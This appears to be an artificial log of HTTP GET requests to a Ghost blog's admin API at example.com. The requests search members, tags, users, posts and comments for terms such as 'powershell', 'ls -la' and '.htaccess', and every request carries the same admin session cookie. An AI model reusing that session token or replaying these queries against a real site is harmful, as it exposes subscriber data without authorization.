{"method": "GET", "target": "/ghost/api/admin/pages/?filter=visibility%3Apublic%2Bstatus%3Apublished%2Bauthors%3Aalice&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&search=python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&search=powershell", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&search=ls+-la", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&search=.htaccess", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&search=news", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&search=Alice", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&filter=label%3A%5Bpowershell-users%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&filter=name%3A%7E%27python3%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&filter=email%3A%7E%27.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&filter=label%3A%5Bpowershell-users%5D%2Bname%3A%7E%27ls+-la%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&filter=%28subscribed%3Atrue%2Bemail_disabled%3A0%29", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&filter=label%3A%5Bpowershell-users%5D%2Bstatus%3Afree", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&filter=label%3A%5Bpowershell-users%5D%2Bstatus%3Afree&search=powershell", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc&filter=label%3A%5Bpowershell-users%5D&search=powershell", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27python3%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27python3%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=python3&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27powershell%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27powershell%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=powershell&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27ls+-la%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
